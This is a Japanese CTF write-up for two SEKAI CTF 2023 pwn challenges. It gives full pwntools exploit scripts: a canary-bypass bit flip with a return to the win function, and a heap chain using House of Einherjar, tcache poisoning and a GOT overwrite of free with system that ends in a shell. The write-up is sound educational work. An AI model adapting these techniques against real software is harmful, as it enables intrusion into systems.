Project SEKAI CTF 2023 Writeup (Text Sender, Cosmic Ray)

# はじめに
解けた問題の中で一番得点の高かった Text Sender とついでに Cosmic Ray の Writeup です．

# Cosmic Ray
```
Why wait for the universe to send you a cosmic ray when you can do it yourself? Well today the wait is over with our brand new cosmic ray launcher 3000 coming to a CPU near you!

This technology is still under development, please leave a review when you are finished testing.

Author: Rench

nc chals.sekai.team 4077

dist.zip
```

```
└─< spwn
[*] Binary: cosmicray
[*] Libc:   libc-2.35.so
[*] Loader: ld-2.35.so

[*] file cosmicray
ELF 64-bit LSB executable
x86-64
dynamically linked
not stripped
[*] checksec cosmicray
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
Libc version: 2.35
[!] There are some dangerous functions:
gets
[*] cwe_checker cosmicray (press Ctrl+C to stop)
[CWE125] (0.3) (Out-of-bounds Read) Memory read at 004013c5 may be out of bounds
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 00401305 (fopen).
[CWE676] (0.1) (Use of Potentially Dangerous Function) main (004016dd) -> gets


[+] Trying to unstrip libc
[!] Could not fetch libc debuginfo for build_id 69389d485a9793dbe873f0ea2c93e02efaa9aa3d from https://debuginfod.systemtap.org/
[!] Couldn't find debug info for libc with build_id 69389d485a9793dbe873f0ea2c93e02efaa9aa3d on any debuginfod server.
[!] Failed to unstrip libc
```
* 指定した 1 ビットだけ反転させることができる
* これで canary を突破できれば RIP を win 関数に飛ばす
* 実行ファイルのアドレスはわかっているので，[disasm.will.gl](http://disasm.will.gl/) を使って探すと，canaray の分岐が
    ```asm
    JZ LAB__ ## 74 05
    ```
    となっているので，JZ を JNZ にする
    ```asm
    JNZ LAB__ ## 75 05
    ```
    アドレスは ```0x4016f4```
* win 関数のアドレス
    ```
    └─< nm cosmicray | grep win
    00000000004012d6 T win
    ```

```py
from pwn import *

binary_name = 'cosmicray'
exe  = ELF(binary_name, checksec=True)
libc = ELF('libc-2.35.so', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']

conv = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc  = lambda *x, **y: io.recv(*conv(*x), **y)
ru  = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl  = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: io.recvall(*conv(*x), **y)
sn  = lambda *x, **y: io.send(*conv(*x), **y)
sl  = lambda *x, **y: io.sendline(*conv(*x), **y)
sa  = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach = lambda *x, **y: gdb.attach(io, *x, **y)

if args.REMOTE:
    io = remote('chals.sekai.team', 4077)
elif args.LOCAL:
    io = remote('localhost', 4444)
elif args.GDB:
    io = gdb.debug(f'debug_dir/{binary_name}', '''
        c
    ''', aslr=False)
else:
    io = process(f'debug_dir/{binary_name}')

rl()
rl()
sl(b'0x4016f4')
ru(b'to flip (0-7):\n')
sl(b'7')
ru(b'experience today:\n')
sl(b'A' * (8 * 6) + p64(1) + p64(0x4012d6))
io.interactive()
```

```
└─< py solve.py REMOTE
[*] '/home/toha/work/sekai_ctf_2023/pwn/cosmic_ray/dist/cosmicray'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to chals.sekai.team on port 4077: Done
[*] Switching to interactive mode
SEKAI{w0w_pwn_s0_ez_wh3n_I_can_s3nd_a_c05m1c_ray_thru_ur_cpu}
/run.sh: line 3: 12753 Segmentation fault      ./cosmicray
[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Closed connection to chals.sekai.team port 4077
```

# Text Sender
```
I wanted to send multiple messages at one time so I made this text sender. Please try it and give me your opinion, thanks!

Author: Johnathan

nc chals.sekai.team 4000

textsender.zip
```

```
└─< spwn
[*] Binary: textsender
[*] Libc:   libc-2.32.so
[*] Loader: ld-2.32.so

[*] file textsender
ELF 64-bit LSB executable
x86-64
dynamically linked
not stripped
[*] checksec textsender
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x3ff000)
Libc version: 2.32
[*] cwe_checker textsender (press Ctrl+C to stop)
[CWE125] (0.3) (Out-of-bounds Read) Memory read at 004014b8 may be out of bounds
[CWE125] (0.3) (Out-of-bounds Read) Memory read at 004015cc may be out of bounds
[CWE125] (0.3) (Out-of-bounds Read) Memory read at 004016a3 may be out of bounds
[CWE134] (0.1) (Externally Controlled Format String) Potential externally controlled format string for call to __isoc99_scanf at 004012ab
[CWE467] (0.2) (Use of sizeof on a Pointer Type) sizeof on pointer at 00401658 (strncmp).
[CWE476] (0.2) (NULL Pointer Dereference) Memory access at 004014d8 may result in a NULL dereference
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 00401323 (malloc).
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 004013a7 (malloc).
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 004013b5 (malloc).
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 004013c9 (malloc).
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 00401723 (malloc).
[CWE676] (0.1) (Use of Potentially Dangerous Function) input (00401228) -> sprintf
[CWE676] (0.1) (Use of Potentially Dangerous Function) input (00401234) -> strlen


[+] Trying to unstrip libc
[!] Could not fetch libc debuginfo for build_id e1596c76d0d93d8a36378ba976f034f140618d59 from https://debuginfod.systemtap.org/
[!] Couldn't find debug info for libc with build_id e1596c76d0d93d8a36378ba976f034f140618d59 on any debuginfod server.
[!] Failed to unstrip libc
```

Ghidra で読んでみると，以下のようになっている
```c
void input(undefined8 input_target_addr,undefined8 input_message,uint length)
{
  size_t sVar1;
  char local_13 [9];
  ushort local_a;
  
  local_13[0] = '%';
  sprintf(local_13 + 1,"%d",(ulong)length);
  sVar1 = strlen(local_13);
  local_a = (ushort)sVar1;
  local_13[(int)(uint)local_a] = 's';
  local_13[(int)(local_a + 1)] = '%';
  local_13[(int)(local_a + 2)] = '*';
  local_13[(int)(local_a + 3)] = 'c';
  local_13[(int)(local_a + 4)] = '\0';
                    /* local_13 = f"%{length}s%*c\0" */
  printf("%s",input_message);
  __isoc99_scanf(local_13,input_target_addr);
  return;
}


void set_sender(void)
{
  sender = (undefined8 *)malloc(0x78);
                    /* 0x203a7265646e6553 == "Sender: " */
  *sender = 0x203a7265646e6553;
  input(sender + 1,"Sender\'s name: ",0x6f);
  puts("[*] Added!");
  return;
}


int add_message(long messages,byte *message_len)
{
  int res;
  void **message;
  void *pvVar1;
  byte message_len_;
  
  if (*message_len < 10) {
    message = (void **)malloc(0x10);
    pvVar1 = malloc(0x78);
    *message = pvVar1;
    pvVar1 = malloc(0x1f8);
    message[1] = pvVar1;
    input(*message,"Receiver: ",0x78);
    input(message[1],"Message: ",0x1f8);
    message_len_ = *message_len;
    *message_len = message_len_ + 1;
    *(void ***)((ulong)message_len_ * 8 + messages) = message;
    res = puts("[*] Added!");
  }
  else {
    puts("You reached maximum of message!");
    res = 0;
  }
  return res;
}


void edit_message(long messages,byte message_num)
{
  size_t getline_n;
  char *input_name;
  __ssize_t input_name_length;
  long j;
  int i;
  char local_11;
  long *message;
  
  local_11 = '\0';
  getline_n = 0;
  input_name = (char *)0x0;
  printf("Name: ");
  input_name_length = getline(&input_name,&getline_n,stdin);
  i = 0;
  while ((i < (int)(uint)message_num && (local_11 == '\0'))) {
    message = *(long **)(messages + (long)i * 8);
    local_11 = '\x01';
    j = 0;
    while ((j < input_name_length + -1 && (local_11 != '\0'))) {
      if (input_name[j] != *(char *)(j + *message)) {
        local_11 = '\0';
      }
      j = j + 1;
    }
    i = i + 1;
  }
  if (local_11 == '\0') {
    puts("[-] Cannot find name!");
  }
  else {
    printf("Old message: %s\n",message[1]);
    input(message[1],"New message: ",0x1f8);
    puts("[*] Changed!");
  }
  free(input_name);
  return;
}


void print_message(long param_1,byte message_num)
{
  undefined8 *puVar1;
  uint i;
  
  printf("Total: %hu draft.\n",(ulong)message_num);
  for (i = 0; (int)i < (int)(uint)message_num; i = i + 1) {
    puVar1 = *(undefined8 **)(param_1 + (long)(int)i * 8);
    printf("(Draft %d) %s: %s\n",(ulong)i,*puVar1,puVar1[1]);
  }
  return;
}


void send_message(long messages,byte *message_num)
{
  int iVar1;
  uint i;
  void **message;
  
  printf("Total: %hu draft.\n",(ulong)*message_num);
  if (sender != (char *)0x0) {
    iVar1 = strncmp(sender,"Sender: ",8);
    if (iVar1 == 0) {
      free(sender);
      printf("[*] Sent sender\'s name!");
    }
  }
  for (i = 0; (int)i < (int)(uint)*message_num; i = i + 1) {
    message = *(void ***)(messages + (long)(int)i * 8);
                    /* message[1] -> message_body
                       *message -> receiver */
    free(message[1]);
    free(*message);
    free(message);
    printf("[*] Sent draft %d!\n",(ulong)i);
  }
  *message_num = 0;
  return;
}
```
* messages (0x10 + 0x50) は 10 個の message (0x10 + 0x10) のアドレスを格納している
* message は receiver (0x08 + 0x78) と message_body (0x08 + 0x1f8) のアドレスを持つ
* よって以下のようにヒープが確保される
    ```
    +------------+
    |    0x60    |
    +------------+
    |    0x20    |
    +------------+
    |    0x80    |
    +------------+
    |   0x200    |
    +------------+
    |    0x20    |
    +------------+
    |    0x80    |
    +------------+
    |    ...     |
    ```
* さらに，sender でも 0x80 のヒープ領域が確保でき，これは send_message で free できるが，free する前に sender をもう一度上書きすると，free されないままになってしまう
* edit_message 関数を呼び出した際もヒープが確保される (後述)

---

* (脆弱性 1) input 関数内の scanf で BOF (1 バイトだけ NULL が BOF) する -> [House of Einherjar](https://0x434b.dev/overview-of-glibc-heap-exploitation-techniques/#house-of-einherjar)
* (脆弱性 2) edit_message での receiver の文字列比較は，後で getline で入力した receiver の長さで比較するので，元よりも長くすることで，それ以降の部分が一致しているか調べることができる
* edit_message で getline 関数があるが，これは第二引数に 0 が与えられると入力の長さに応じてヒープ領域を確保するみたい
    * 確保するチャンクのサイズは 0x80, 0x100, 0x1f0, 0x3d0, ...
    * さらに，0x100 以上を確保するときは，tcache や bins からではなく，新しく top から確保する
    * free されるときはユーザ側で行うので，通常と同じになる
* とりあえず，NULL Byte で何ができるかを考える
    * NULL Byte で書き潰されるのは，次の victim チャンクの size の部分になる
    * ここには prev_inuse フラグがあるので，ここを 0 にすることで，prev チャンクが使われていないかのように見せることができる
    * さらに，prev_size も書き換えて (victim チャンク - prev_size) の場所にチャンクがあるかのようにできる (fake chunk)
    * これで，victim チャンクを free したときに tcache, fastbin に繋がれなければ，prev チャンク (fake chunk) と併合されて free される
    * ここで，併合されるときは prev_size を確認して，prev チャンクのアドレスを取得して，prev チャンクを unlink する
        * チャンク p が unlink されるときは，p -> fd -> bk と p -> bk -> fd が共に p を指しているか確認される
        * p の fd, bk が自分自身を指すようにすると整合性が取れる
    * これで，fake chunk を持つ領域を使って UAF ができる
    * ただし，unlink をチェックを回避するために，これをするにはヒープのアドレスがわかっていないといけない
* ヒープアドレスのリークには，脆弱性 2 を使う
    * send_message 関数では receiver との文字列比較がある
    * これは，確保している receiver の領域 (0x80) を超えていても，入力した文字数文 (最後の改行文字は含めない) だけ文字列比較をしてしまう
    * よって，ヒープのアドレスが確保されている領域まで比較すると，一致しているかでアドレスを調べることができる
    * 0x20 -> 0x80 (target) -> 0x200 の順で確保されていて，0x20 の領域にヒープアドレスをもつので，先に edit_message 関数を呼び 0x80 の領域を確保して，free することで，0x80 -> 0x20 -> 0x200 の順に確保できる
    * これで receiver の直後にヒープのアドレスを持つ領域を配置できる
* 次に libc のアドレスをリークさせたいので，fake chunk を unsortedbin に繋げたいが，できそうにないので，tcache につなげて tcache posoning する
    * まず，edit_message 関数を 7 回呼び出して，入力する文字数を調整して 0x100 の tcache を一杯にする
    * add_message 関数で 0x20 -> 0x80 -> 0x200 と領域を確保する
    * この後ろに edit_message 関数で 0x100 の領域を確保し，同時に直前の receiver と文字列が一致するようにする
    * これで，message_body を編集できるので，NULL Byte Poisoning する
    * このときに，message_body の後半 0x100 バイトが後ろのチャンクに併合されるようにするため，fd, bk 用のアドレスや，prev_size などを調整して入力する
    * 併合されたあとは，そのまま top に併合される
    * これで以下のように top が実際には使用している領域に食い込むような配置になる
        ```
        |    ...     |
        +------------+
        |   0x100    |
        +------------+
        |    ...     |
        +------------+
        |   0x100    |
        +------------+
        |    0x20    | <- message
        +------------+
        |    0x80    | <- receiver
        +------------+
        |   0x200    | <- message_body
        +------------+
        |   0x100    | <- == reciver +alpha
        +------------+
        |    top     |
        +------------+

              |
              |
              V
        |    ...     |
        +------------+
        |   0x100    |
        +------------+
        |    ...     |
        +------------+
        |   0x100    |
        +------------+
        |    0x20    | <- message
        +------------+
        |    0x80    | <- receiver
        +------------+----------
        |   0x200    |  0x100
        + - - - - - -+----------
        |    top     |
        +------------+
        ```
* これで次にヒープ領域を確保すると，最初の 0x100 バイトにかかる部分は，現在 2 つめの message_body を使って自由に書き換えることができる
* add_message で確保すると，0x20, 0x80, 0x200 なので，3 つすべての領域のヘッダや fd, bk の部分は書き換えることができる
* tcache に繋げるために，一度 send_message で解放する
    * このとき，確保した順番と，解放される順番を考えるとこのままでは操作できない
    * 確保した message を下位アドレスから順に A, B, C とすると tcache には C -> B -> A の順に繋がっていて，C から取り出すことになるため，B を使って C を書き換えるので，B を確保した時点で C は tcache には繋がっていない
    * よって，2 回 add_message を呼び出して，再び send_message で解放すると B -> C -> A の順になる
    * これで tcache の先頭の B を確保するときに，tcache に繋がっている C のチャンク 0x20, 0x80 と 0x200 を自由に書き換えられる
    * よって，C の fd を書き換えることで，C を確保したあと，A を確保しようとすると，書き換えた先の領域をヒープとして確保することになる
        * C の fd を書き換えたあとの tcache
            ```
            pwndbg> bins
            tcachebins
            0x20 [  2]: 0xa6ae40 —▸ 0xa6a380 ◂— 0 /* 'j\n' */
            0x80 [  2]: 0xa6ae60 —▸ 0x404000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x403414 ◂— ...
            0x100 [  7]: 0xa6aba0 —▸ 0xa6aaa0 —▸ 0xa6a9a0 —▸ 0xa6a8a0 —▸ 0xa6a7a0 —▸ 0xa6a6a0 —▸ 0xa6a5a0 ◂— 0 /* 'j\n' */
            0x200 [  2]: 0xa6aee0 —▸ 0x404000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x403414 ◂— ...
            ```
* ここで，実行ファイルが No PIE のためアドレスがわかっているので，GOT 領域を使って，libc のリークや system の呼び出しを考える
    * GOT 領域の先頭に free があるので，ここから libc のベースアドレスをリークさせる
    * リークについてはヒープと同様にするため，C の 0x80 はここに領域を確保するように仕向ける
        * 直前のアドレスに元々なにか入っているので，それを確保する際に完全に消して，なおかつ，free のアドレスには 1 バイトもかからないようにする (edit_message 関数で free が呼び出されるため)
    * これでリークができれば，この free を system に書き換えられれば，edit_message 関数の free で入力文字列の先頭に "/bin/sh\x00" が入っていればシェルを得ることができる
    * よって，C の 0x200 も同じ領域を確保するようにしておいて，libc のアドレスのリークが終われば，free のアドレスを system のアドレスに書き換えるようにすれば良い

```
gef➤  got

GOT protection: Partial RelRO | GOT functions: 10
 
[0x404018] free@GLIBC_2.2.5  →  0x401036
[0x404020] strncmp@GLIBC_2.2.5  →  0x401046
[0x404028] puts@GLIBC_2.2.5  →  0x401056
[0x404030] strlen@GLIBC_2.2.5  →  0x401066
[0x404038] setbuf@GLIBC_2.2.5  →  0x401076
[0x404040] printf@GLIBC_2.2.5  →  0x401086
[0x404048] malloc@GLIBC_2.2.5  →  0x401096
[0x404050] __isoc99_scanf@GLIBC_2.7  →  0x4010a6
[0x404058] getline@GLIBC_2.2.5  →  0x4010b6
[0x404060] sprintf@GLIBC_2.2.5  →  0x4010c6


└─< readelf -s -W ./libc-2.32.so | grep " system@"     
  1454: 000000000004af30    45 FUNC    WEAK   DEFAULT   16 system@@GLIBC_2.2.5


└─< readelf -s -W ./libc-2.32.so | grep " free@"  
  2389: 000000000008cef0   265 FUNC    GLOBAL DEFAULT   16 free@@GLIBC_2.2.5
```

```py
from pwn import *

binary_name = 'textsender'
exe  = ELF(binary_name, checksec=True)
libc = ELF('libc-2.32.so', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']

conv = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc  = lambda *x, **y: io.recv(*conv(*x), **y)
ru  = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl  = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral = lambda *x, **y: io.recvall(*conv(*x), **y)
sn  = lambda *x, **y: io.send(*conv(*x), **y)
sl  = lambda *x, **y: io.sendline(*conv(*x), **y)
sa  = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach = lambda *x, **y: gdb.attach(io, *x, **y)

if args.REMOTE:
    io = remote('chals.sekai.team', 4000)
elif args.LOCAL:
    io = remote('localhost', 4444)
elif args.GDB:
    io = gdb.debug(f'debug_dir/{binary_name}', '''
        c
    ''', aslr=False)
else:
    io = process(f'debug_dir/{binary_name}')

RECEIVER_LEN = 0x78
MESSAGE_BODY_LEN = 0x1f8
addr_got_free = 0x404018
offset_system = 0x000000000004af30
offset_free = 0x000000000008cef0

def set_sender(data):
    sla(b'> ', b'1')
    sla(b"Sender's name: ", data)

def add_message(receiver, message):
    sla(b'> ', b'2')
    sla(b'Receiver: ', receiver)
    sla(b'Message: ', message)

def edit_message(receiver, message):
    sla(b'> ', b'3')
    sla(b'Name: ', receiver)
    ru(b'Old message: ')
    res = io.recvline()[:-1]
    sla(b'New message: ', message)
    return res

def print_all():
    sla(b'> ', b'4')
    delim = b'------- MENU -------'
    return io.recvuntil(delim)[:-len(delim)]

def send_all():
    sla(b'> ', b'5')

## leak heap address
set_sender(b'hoge')
send_all()
add_message(b'A' * 8, b'B' * 8)

heap_addr = [0] ## LSByte of the target heap address is must be 0x00
payload = b'A' * 8 + p64(0) * 14 + p64(0x21)
while True:
    found = False
    for b in range(256):
        if b == 0x0a:
            continue
        sla(b'> ', b'3')
        sla(b'Name: ', payload + bytes(heap_addr + [b]))
        if b'Old message' in rl():
            sla(b'New message: ', b'XXXX')
            heap_addr.append(b)
            found = True
            break
    if not found:
        print('ERROR')
        break
    sla(b'> ', b'3')
    sla(b'Name: ', payload + bytes(heap_addr + [0]))
    if b'Old message' in rl():
        sla(b'New message: ', b'XXXX')
        break

heap_base = int.from_bytes(bytes(heap_addr[::-1]), 'big') - 0x300
print('heap base: ', hex(heap_base))

## House of Einherjar
add_message(b'B' * 8 * 14, b'hoge')
sla(b'> ', b'3')
sla(b'Name: ', b'B' * 8 * 14 + p64(0) + p64(0x201))
payload = p64(0) * 31
payload += p64(0x101) ## fake chunk size
payload += p64(heap_base + 0x100 + 0xd30) * 2 ## fake chunk fd and bk
payload += p64(0) * 28
payload += p64(0x100) ## prev size
sla(b'New message: ', payload) ## NULL Byte BOF

## sort tcache
add_message(b'hoge', b'huga')
send_all()
add_message(b'hoge', b'huga')
add_message(b'hoge', b'huga')
send_all()

## tcache poisoning
payload = b'A' * 0xf0
payload += p64(0)
payload += p64(0x21)
payload += p64((heap_base >> 12) ^ (heap_base + 0x380)) ## safe-linking
payload += p64(heap_base + 0x10) ## tcache key
payload += p64(0)
payload += p64(0x81)
payload += p64((heap_base >> 12) ^ (addr_got_free - 0x18)) ## tcache posoning
payload += p64(heap_base + 0x10) ## tcache key
payload += p64(0) * 13
payload += p64(0x201)
payload += p64((heap_base >> 12) ^ (addr_got_free - 0x18)) ## tcache posoning
payload += p64(heap_base + 0x10) ## tcache key
add_message(b'hoge', payload)

add_message(b'huga', b'piyo') ## GOT free
add_message(b'huga', b'/bin/sh\x00' + b'C' * (8 + 6)) ## GOT free

## leak libc base and GOT overwrite
addr_free = [0xf0] ## LSByte of "free" is 0xf0
payload = b'/bin/sh\x00' + b'C' * (8 + 6) + b'\x00\x00'
while True:
    found = False
    for b in range(256):
        if b == 0x0a:
            continue
        sla(b'> ', b'3')
        sla(b'Name: ', payload + bytes(addr_free + [b]))
        if b'Old message' in rl():
            sla(b'New message: ', b'/bin/sh\x00' + b'C' * (8 + 6))
            addr_free.append(b)
            found = True
            break
    if not found:
        print('ERROR')
        break
    sla(b'> ', b'3')
    sla(b'Name: ', payload + bytes(addr_free + [0]))
    if b'Old message' in rl():
        addr_free = int.from_bytes(bytes(addr_free[::-1]), 'big')
        libc_base = addr_free - offset_free
        addr_system = libc_base + offset_system
        print('addr free :', hex(addr_free))
        print('libc base :', hex(libc_base))
        sla(b'New message: ', payload + p64(addr_system)) ## GOT Overwrite
        break

io.interactive()
```
* payload に改行文字が含まれることがあるので，失敗したりする

```
└─< py solve.py REMOTE
[*] '/home/toha/work/sekai_ctf_2023/pwn/text_sender/textsender'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)
[+] Opening connection to chals.sekai.team on port 4000: Done
0xceb000
0x1b0
addr_free : 0x7fe8e5a86ef0
libc_base : 0x7fe8e59fa000
[*] Switching to interactive mode
[*] Changed!
$ ls
flag.txt
ld-2.32.so
libc-2.32.so
textsender
$ cat flag.txt
SEKAI{y0U_Kn@W_h0W_tO_c@NduCt_H0uS3_@f_31Nh3rJ4r_43422bb9c023c5a8c37388316956e7c4}
```